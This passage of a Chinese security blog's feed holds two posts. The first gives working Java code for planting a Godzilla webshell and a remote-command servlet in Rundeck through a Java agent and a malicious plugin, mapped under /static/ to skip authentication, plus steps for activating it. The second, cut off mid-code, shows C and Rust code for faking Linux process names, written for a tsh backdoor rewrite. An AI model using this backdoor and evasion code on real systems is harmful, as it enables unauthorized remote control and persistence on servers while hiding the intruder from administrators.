}</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="type">byte</span>[] x(<span class="type">byte</span>[] s, <span class="type">boolean</span> m) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> Class<?> cipherClass = Class.forName(<span class="string">"javax.crypto.Cipher"</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">cipher</span> <span class="operator">=</span> cipherClass.getMethod(<span class="string">"getInstance"</span>, String.class).invoke(<span class="literal">null</span>, <span class="string">"AES"</span>);</span><br><span class="line"></span><br><span class="line"> Class<?> keyClass = Class.forName(<span class="string">"javax.crypto.spec.SecretKeySpec"</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">key</span> <span class="operator">=</span> keyClass.getConstructor(<span class="type">byte</span>[].class, String.class)</span><br><span class="line"> .newInstance(xc.getBytes(), <span class="string">"AES"</span>);</span><br><span class="line"></span><br><span class="line"> Class<?> keyInterface = Class.forName(<span class="string">"java.security.Key"</span>);</span><br><span class="line"> cipherClass.getMethod(<span class="string">"init"</span>, <span class="type">int</span>.class, keyInterface)</span><br><span class="line"> .invoke(cipher, m ? <span class="number">1</span> : <span class="number">2</span>, key);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> (<span class="type">byte</span>[]) cipherClass.getMethod(<span class="string">"doFinal"</span>, <span class="type">byte</span>[].class)</span><br><span class="line"> .invoke(cipher, s);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">process</span><span class="params">(Object req, Object resp)</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">Method</span> <span class="variable">getHeader</span> <span class="operator">=</span> req.getClass().getMethod(<span class="string">"getHeader"</span>, String.class);</span><br><span class="line"> <span class="type">String</span> <span class="variable">lenStr</span> <span class="operator">=</span> (String) getHeader.invoke(req, <span class="string">"Content-Length"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (lenStr == <span class="literal">null</span> || lenStr.isEmpty()) {</span><br><span class="line"> resp.getClass().getMethod(<span class="string">"setStatus"</span>, <span class="type">int</span>.class).invoke(resp, <span class="number">200</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">writer</span> <span class="operator">=</span> resp.getClass().getMethod(<span class="string">"getWriter"</span>).invoke(resp);</span><br><span class="line"> writer.getClass().getMethod(<span class="string">"print"</span>, String.class).invoke(writer, <span class="string">"OK"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> Integer.parseInt(lenStr);</span><br><span class="line"> <span class="type">byte</span>[] data = <span class="keyword">new</span> <span class="title class_">byte</span>[len];</span><br><span class="line"> <span class="type">Object</span> <span class="variable">inputStream</span> <span class="operator">=</span> req.getClass().getMethod(<span class="string">"getInputStream"</span>).invoke(req);</span><br><span class="line"> <span class="type">Method</span> <span class="variable">read</span> <span class="operator">=</span> inputStream.getClass().getMethod(<span class="string">"read"</span>, <span class="type">byte</span>[].class, <span class="type">int</span>.class, <span class="type">int</span>.class);</span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> <span class="variable">num</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span> (num < len) {</span><br><span class="line"> <span class="type">Integer</span> <span class="variable">r</span> <span class="operator">=</span> (Integer) read.invoke(inputStream, data, num, len - num);</span><br><span class="line"> <span class="keyword">if</span> (r == -<span class="number">1</span>) <span class="keyword">break</span>;</span><br><span class="line"> num += r;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> data = x(data, <span class="literal">false</span>);</span><br><span class="line"></span><br><span class="line"> <span class="type">Object</span> <span class="variable">session</span> <span class="operator">=</span> req.getClass().getMethod(<span class="string">"getSession"</span>).invoke(req);</span><br><span class="line"> <span class="type">Method</span> <span class="variable">getAttribute</span> <span class="operator">=</span> session.getClass().getMethod(<span class="string">"getAttribute"</span>, String.class);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">payload</span> <span class="operator">=</span> getAttribute.invoke(session, <span class="string">"payload"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (payload == <span class="literal">null</span>) {</span><br><span class="line"> <span class="type">ClassLoader</span> <span class="variable">loader</span> <span class="operator">=</span> <span class="built_in">this</span>.getClass().getClassLoader();</span><br><span class="line"> <span class="type">X</span> <span class="variable">classLoader</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">X</span>(loader);</span><br><span class="line"> Class<?> payloadClass = classLoader.Q(data);</span><br><span class="line"></span><br><span class="line"> <span class="type">Method</span> <span class="variable">setAttribute</span> <span class="operator">=</span> session.getClass().getMethod(<span class="string">"setAttribute"</span>, String.class, Object.class);</span><br><span class="line"> setAttribute.invoke(session, <span class="string">"payload"</span>, payloadClass);</span><br><span class="line"></span><br><span class="line"> resp.getClass().getMethod(<span class="string">"setStatus"</span>, <span class="type">int</span>.class).invoke(resp, <span class="number">200</span>);</span><br><span class="line"></span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> req.getClass().getMethod(<span class="string">"setAttribute"</span>, String.class, Object.class)</span><br><span class="line"> .invoke(req, <span class="string">"parameters"</span>, data);</span><br><span class="line"></span><br><span class="line"> <span class="type">Object</span> <span class="variable">f</span> <span class="operator">=</span> ((Class<?>) payload).newInstance();</span><br><span class="line"></span><br><span class="line"> java.io.<span class="type">ByteArrayOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.ByteArrayOutputStream();</span><br><span class="line"></span><br><span class="line"> <span class="type">Method</span> <span class="variable">equals</span> <span class="operator">=</span> f.getClass().getMethod(<span class="string">"equals"</span>, Object.class);</span><br><span class="line"> equals.invoke(f, out); </span><br><span class="line"> equals.invoke(f, <span class="keyword">new</span> <span class="title class_">PageCtx</span>(req, resp, session)); </span><br><span class="line"> f.toString(); </span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"> <span class="type">byte</span>[] result = x(out.toByteArray(), <span class="literal">true</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">outputStream</span> <span class="operator">=</span> resp.getClass().getMethod(<span class="string">"getOutputStream"</span>).invoke(resp);</span><br><span class="line"> outputStream.getClass().getMethod(<span class="string">"write"</span>, <span class="type">byte</span>[].class).invoke(outputStream, result);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> </span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>HelloAgent.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">agentmain</span><span class="params">(String args,Instrumentation inst)</span>{</span><br><span class="line"> System.out.println(<span class="string">"=================="</span>);</span><br><span class="line"> System.out.println(<span class="string">"注册路由实现完整功能 "</span>);</span><br><span class="line"> System.out.println(<span class="string">"=================="</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> Thread.sleep(<span class="number">2000</span>); </span><br><span class="line"> </span><br><span class="line"> <span class="comment">//1. 查找ClassLoader</span></span><br><span class="line"> <span class="type">ClassLoader</span> <span class="variable">cl</span> <span class="operator">=</span> findWebClassLoader();</span><br><span class="line"> <span class="keyword">if</span> (cl==<span class="literal">null</span>){</span><br><span class="line"> System.out.println(<span class="string">"找不到 Classloader"</span>);</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> System.out.println(<span class="string">"找到Classloader"</span>);</span><br><span class="line"> </span><br><span class="line"> <span class="comment">//2.获取 ServletContext</span></span><br><span class="line"> Object servletContext=getServletContext(cl);</span><br><span class="line"> <span class="keyword">if</span> (servletContext==<span class="literal">null</span>){</span><br><span class="line"> System.out.println(<span class="string">"找不到servletcontext"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="type">Object</span> <span class="variable">servletHandler</span> <span class="operator">=</span> getServletHandler(servletContext);</span><br><span class="line"> System.out.println(<span class="string">"✓ 获取 ServletHandler"</span>);</span><br><span class="line"></span><br><span class="line"> System.out.println(<span class="string">"找到servletcontext"</span>);</span><br><span class="line"> registerRCEServlet(servletHandler, cl);</span><br><span class="line"> System.out.println(<span class="string">"http://rundeck:4440/static/exec"</span>);</span><br><span class="line"> registerGodzillaServlet(servletHandler, cl);</span><br><span class="line"> System.out.println(<span class="string">"http://rundeck:4440/static/godzilla"</span>);</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> System.err.println(<span class="string">"错误"</span>+e.getMessage());</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// ... findWebClassLoader / getServletContext / getServletHandler 方法同上,省略</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">registerGodzillaServlet</span><span class="params">(Object servletHandler, ClassLoader cl)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> Class<?> servletClass = cl.loadClass(<span class="string">"javax.servlet.Servlet"</span>);</span><br><span class="line"> <span class="comment">// 创建 GodzillaShell 实例</span></span><br><span class="line"> <span class="keyword">final</span> <span class="type">GodzillaShell</span> <span class="variable">godzillaInstance</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">GodzillaShell</span>();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 创建动态代理 Servlet</span></span><br><span class="line"> <span class="type">Object</span> <span class="variable">servlet</span> <span class="operator">=</span> Proxy.newProxyInstance(</span><br><span class="line"> cl,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{servletClass},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvocationHandler</span>() {</span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">invoke</span><span class="params">(Object proxy, Method method, Object[] args)</span> {</span><br><span class="line"> <span class="keyword">if</span> (<span class="string">"service"</span>.equals(method.getName())) {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">// ✅ 直接调用,无反射开销</span></span><br><span class="line"> godzillaInstance.process(args[<span class="number">0</span>], args[<span class="number">1</span>]);</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> );</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 使用辅助函数注册 Servlet</span></span><br><span class="line"> regServletMapping(servletHandler, servlet, cl, <span class="string">"GodzillaServlet"</span>, <span class="string">"/static/godzilla"</span>);</span><br><span class="line"></span><br><span class="line"> System.out.println(<span class="string">" Godzilla 注册成功"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// ... registerRCEServlet 方法同第 2 步,省略</span></span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">regServletMapping</span><span class="params">(Object servletHandler,Object servlet,ClassLoader cl,String servletName,String pathSpec)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> Class<?> servletClass = cl.loadClass(<span class="string">"javax.servlet.Servlet"</span>);</span><br><span class="line"> Class<?> holderClass = cl.loadClass(<span class="string">"org.eclipse.jetty.servlet.ServletHolder"</span>);</span><br><span class="line"></span><br><span class="line"> Constructor<?> ctor = holderClass.getConstructor(String.class, servletClass);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">holder</span> <span class="operator">=</span> ctor.newInstance(servletName, servlet);</span><br><span class="line"> servletHandler.getClass().getMethod(<span class="string">"addServletWithMapping"</span>,holderClass,String.class).invoke(servletHandler,holder,pathSpec);</span><br><span class="line"> }</span><br><span class="line"></span><br></pre></td></tr></table></figure><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-08-15-41-03.png" class=""><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-08-15-41-32.png" class=""><h5 id="2-添加suo5正向代理"><a href="#2-添加suo5正向代理" class="headerlink" title="2. 添加suo5正向代理"></a>2. 添加suo5正向代理</h5><p>suo5也是常规的套路,使用defineClass字节码动态加载,把suo5.class先base64再调用defineClass加载即可,这里不贴代码,成品在github仓库中。</p><h3 id="编写Rundeck-插件-正式环境注入插件"><a href="#编写Rundeck-插件-正式环境注入插件" class="headerlink" title="编写Rundeck 插件 && 正式环境注入插件"></a>编写Rundeck 插件 && 正式环境注入插件</h3><p>根据Rundeck官网的<a href="https://docs.rundeck.com/3.4.7/developer/01-plugin-development.html#java-plugin-development">开发者文档</a>我们可以知道实现插件的要素</p><table><thead><tr><th>项目类型</th><th>普通 JAR</th><th>Rundeck Plugin JAR</th></tr></thead><tbody><tr><td><strong>入口点</strong></td><td><code>main()</code> 方法</td><td><code>executeStep()</code> 方法</td></tr><tr><td><strong>必需接口</strong></td><td>无</td><td><code>StepPlugin</code> 接口</td></tr><tr><td><strong>必需注解</strong></td><td>无</td><td><code>@Plugin</code> <code>@PluginDescription</code></td></tr><tr><td><strong>MANIFEST.MF</strong></td><td>普通清单</td><td>必需 <code>Rundeck-Plugin-*</code> 条目</td></tr><tr><td><strong>依赖范围</strong></td><td><code>compile</code></td><td><code>provided</code></td></tr><tr><td><strong>生命周期</strong></td><td>JVM 启动执行</td><td>Rundeck 启动加载,作业执行时调用</td></tr><tr><td><strong>ClassLoader</strong></td><td>AppClassLoader</td><td>Rundeck Plugin ClassLoader</td></tr></tbody></table><p>必需的 3 个要素</p><ol><li><strong>实现接口</strong>: <code>implements StepPlugin</code></li><li><strong>添加注解</strong>: <code>@Plugin</code> <code>@PluginDescription</code></li><li><strong>配置 MANIFEST</strong>: <code>Rundeck-Plugin-Classnames</code></li></ol><p>编译好插件之后,上传插件</p><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-08-15-59-56.png" class=""><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-08-16-04-00.png" class=""><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-08-16-17-26.png" class=""><p>激活插件</p><ol><li>创建一个新的job</li><li>在workflow选择安装好的插件</li><li>激活</li></ol><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-08-16-25-44.png" class=""><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-08-16-19-04.png" class=""><p>节点选择 “Excute locally”或者选择Dispatch to Nodes,把rundeck server给包含进来即可激活</p><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-08-16-20-08.png" class=""><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-08-16-27-01.png" class=""><p>验证插件运行正常</p><img src="/2026/03/08/rundeck-backdoor-for-java/2026-03-08-16-38-18.png" class=""><h2 id="Ending"><a href="#Ending" class="headerlink" title="Ending"></a>Ending</h2><p>整个后门植入链路:<strong>Rundeck 插件</strong> → <strong>Java Agent 注入 JVM</strong> → <strong>动态注册 Servlet</strong> → <strong>无需登录访问 WebShell / 代理</strong>,在拥有 Rundeck 管理员权限的场景下完整走通,三项功能(RCE WebShell、哥斯拉、suo5 代理)均验证正常。</p><p>再而把<strong>Java Agent</strong>转换成适用于<code>rundeck</code>的插件jar包,即可搞定了。</p><p>需要注意的是,<code>/static/</code> 路由是 Rundeck 的静态资源路径,注入后的 Servlet 挂在该路径下不会触发 SpringSecurity 认证拦截,天然绕过了登录校验。整个过程的关键难点在于理解 Grails + Jetty 的 <code>ServletContext</code> 获取链路,与常规 Tomcat 场景有所不同,需要通过 <code>Holders.getGrailsApplication()</code> 一路向下拿到 <code>ContextHandler</code>。</p>]]></content>
<categories>
<category> Programming </category>
</categories>
<tags>
<tag> Rundeck </tag>
<tag> Java </tag>
<tag> Backdoor </tag>
</tags>
</entry>
<entry>
<title>Rust for Linux 伪造进程名</title>
<link href="/2026/01/03/linux-fake-process-name-for-rust/"/>
<url>/2026/01/03/linux-fake-process-name-for-rust/</url>
<content type="html"><![CDATA[<p> 这篇文章主要介绍了Rust在Linux下通过修改argv0和/proc/self/comm的方式修改进程名以及原理.</p><span id="more"></span><hr><h2 id="Begin"><a href="#Begin" class="headerlink" title="Begin"></a>Begin</h2><p> 最近在看tsh的相关代码,想着用rust重写一遍tsh,看到github上的rust以及go改写的tsh功能和体积都不如意,于是自己重新造轮子,过一遍完整的理论与项目实践。</p><p>此文章示例代码都放在github上:<a href="https://github.com/b1ackow1/FakeProcessNameDemo">FakeProcessNameDemo</a></p><h2 id="Principle"><a href="#Principle" class="headerlink" title="Principle"></a>Principle</h2><p> 在Linux中进程名通常由修改两个地方就能伪造进程名。分别是argv[0],comm.</p><ol><li>argv[0]<br>作用:存储程序启动时的完整命令行<br>对应文件位置: /proc/[pid]/cmdline<br>修改方式: 直接修改内存即可伪造进程名<br>长度: 可以很长(通常几百字节)<br>位置: 存储在进程的栈内存中</li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">ps aux | grep nginx</span><br><span class="line">root 1234 nginx: master process /usr/sbin/nginx -c /etc/nginx/nginx.conf</span><br><span class="line"><span class="comment"># ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^</span></span><br><span class="line"><span class="comment"># 这就是 argv[0] 加上参数</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 方式2: ps -ef</span></span><br><span class="line">ps -ef | grep nginx</span><br><span class="line">root 1234 /usr/sbin/nginx -c /etc/nginx/nginx.conf</span><br></pre></td></tr></table></figure><ol start="2"><li>comm (进程任务名)<br> 长度限制: 最多16个字符(算上’\0’)<br> 位置: 存储在内核的 <code>task_struct</code> 结构体中<br> 修改方式: 使用 <code>prctl(PR_SET_NAME)</code> 系统调用<br> 对应文件: <code>/proc/[PID]/comm</code></li></ol><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /proc/1234/comm</span><br><span class="line">nginx</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 方式1: ps -eo comm</span></span><br><span class="line">ps -eo pid,<span class="built_in">comm</span> | grep 1234</span><br><span class="line">1234 nginx</span><br><span class="line"><span class="comment"># ^^^^^</span></span><br><span class="line"><span class="comment"># 这就是 comm</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 方式2: top</span></span><br><span class="line">top -p 1234</span><br><span class="line"> PID USER COMMAND</span><br><span class="line"> 1234 root nginx ← 这里显示的也是 <span class="built_in">comm</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 方式3: htop</span></span><br><span class="line">htop -p 1234</span><br><span class="line"> PID COMMAND</span><br><span class="line"> 1234 nginx</span><br></pre></td></tr></table></figure><h2 id="Coding"><a href="#Coding" class="headerlink" title="Coding"></a>Coding</h2><p>根据<a href="https://github.com/orangetw/tsh/blob/master/tshd.c#L73">tinyshell</a>的源码,我们可以看到C语言版本是这么处理argv[0]修改进程名的</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">memset</span>((<span class="type">void</span> *)argv[<span class="number">0</span>], <span class="string">'\0'</span>, <span class="built_in">strlen</span>(argv[<span class="number">0</span>]));</span><br><span class="line"><span class="built_in">strcpy</span>(argv[<span class="number">0</span>], FAKE_PROC_NAME);</span><br></pre></td></tr></table></figure><p>我们构造一个测试C语言程序</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><unistd.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> **argv)</span> {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"=== C语言版本 argv[0] ===\n\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"原始 argv[0]: %s\n"</span>, argv[<span class="number">0</span>]);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"原始长度: %lu 字节\n\n"</span>, <span class="built_in">strlen</span>(argv[<span class="number">0</span>]));</span><br><span class="line"> <span class="type">char</span> *fake_name=<span class="string">"fake"</span>;</span><br><span class="line"> <span class="built_in">memset</span>(argv[<span class="number">0</span>],<span class="string">'\0'</span>,<span class="built_in">strlen</span>(argv[<span class="number">0</span>]));</span><br><span class="line"> <span class="built_in">strcpy</span>(argv[<span class="number">0</span>],fake_name);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"\n"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"进程将运行15秒,请检查:\n"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">" ps aux | grep %d\n"</span>, getpid());</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">" cat /proc/%d/cmdline | tr '\\0' ' '\n"</span>, getpid());</span><br><span class="line"></span><br><span class="line"> sleep(<span class="number">15</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">// gcc -o test fake_name.c</span></span><br></pre></td></tr></table></figure><p>结果如下:</p><img src="/2026/01/03/linux-fake-process-name-for-rust/test_c_argv0.png" class="" title="测试结果"><p>测试OK!</p><h4 id="使用rust实现进程名修改–修改Argv-0"><a href="#使用rust实现进程名修改–修改Argv-0" class="headerlink" title="使用rust实现进程名修改–修改Argv[0]"></a>使用rust实现进程名修改–修改Argv[0]</h4><p>众所周知,<code>Rust</code>是一门内存安全的语言,不使用unsafe修改argv[0]的时候,你会发现程序内读取argv[0]是修改过的进程名,使用命令<code>ps -ef</code>之类的发现进程名还是原来的进程名。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">args</span>=std::env::<span class="title function_ invoke__">args</span>().collect::<<span class="type">Vec</span><_>>();</span><br><span class="line"> args[<span class="number">0</span>]=<span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">"fake-name"</span>);</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"args[0]={}"</span>,args[<span class="number">0</span>]);</span><br><span class="line"> std::thread::<span class="title function_ invoke__">sleep</span>(std::time::Duration::<span class="title function_ invoke__">from_secs</span>(<span class="number">60</span>));</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>实际上<code>ps -ef</code>还是显示的demo进程名</p><img src="/2026/01/03/linux-fake-process-name-for-rust/2026-01-03-12-42-47.png" class=""><p>原因是rust返回的args是一个拷贝,并不是引用,修改拷贝不影响原始数据。详情可以了解<a href="https://www.duguying.net/article/can-not-modify-argv0-in-rust">没有途径修改argv[0]</a><br>我们使用unsafe来改写上述C语言代码来实现进程名字伪造.整体逻辑如下:</p><pre><code> 定位当前程序栈地址->在栈中搜索argv[0]->计算可用空间->修改argv[0]</code></pre><ol><li>通过/proc/self/maps定位到当前程序的栈地址 (因为Rust不像C那样直接暴露char **argv指针。我们必须自己找到它在内存中的位置)</li></ol><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/// 获取进程栈的地址范围</span></span><br><span class="line"><span class="comment">///</span></span><br><span class="line"><span class="comment">/// 通过读取 /proc/self/maps 查找 [stack] 区域</span></span><br><span class="line"><span class="comment">/// 返回 (stack_start, stack_end)</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">get_stack_range</span>()<span class="punctuation">-></span><span class="type">Result</span><(<span class="type">usize</span>,<span class="type">usize</span>),<span class="type">String</span>>{</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">maps</span>=std::fs::<span class="title function_ invoke__">read_to_string</span>(<span class="string">"/proc/self/maps"</span>).<span class="title function_ invoke__">map_err</span>(|e|<span class="built_in">format!</span>(<span class="string">"不能读取maps:{}"</span>,e))?;</span><br><span class="line"> <span class="keyword">let</span> (<span class="keyword">mut</span> stack_start,<span class="keyword">mut</span> stack_end)=(<span class="number">0usize</span>,<span class="number">0usize</span>);</span><br><span class="line"> <span class="comment">//查找stack行</span></span><br><span class="line"> <span class="keyword">for</span> <span class="variable">line</span> <span class="keyword">in</span> maps.<span class="title function_ invoke__">lines</span>(){</span><br><span class="line"> <span class="keyword">if</span> line.<span class="title function_ invoke__">contains</span>(<span class="string">"[stack]"</span>){</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">parts</span>:<span class="type">Vec</span><&<span class="type">str</span>>=line.<span class="title function_ invoke__">split_whitespace</span>().<span class="title function_ invoke__">collect</span>();</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">let</span> <span class="variable">Some</span>(range)=parts.<span class="title function_ invoke__">first</span>(){</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">addrs</span>:<span class="type">Vec</span><&<span class="type">str</span>>=range.<span class="title function_ invoke__">split</span>(<span class="string">"-"</span>).<span class="title function_ invoke__">collect</span>();</span><br><span class="line"> <span class="keyword">if</span> addrs.<span class="title function_ invoke__">len</span>()==<span class="number">2</span>{</span><br><span class="line"> stack_start=<span class="type">usize</span>::<span class="title function_ invoke__">from_str_radix</span>(addrs[<span class="number">0</span>], <span class="number">16</span>).<span class="title function_ invoke__">map_err</span>(|e|<span class="built_in">format!</span>(<span class="string">"解析起始地址失败:{}"</span>,e))?;</span><br><span class="line"> stack_end=<span class="type">usize</span>::<span class="title function_ invoke__">from_str_radix</span>(addrs[<span class="number">1</span>], <span class="number">16</span>).<span class="title function_ 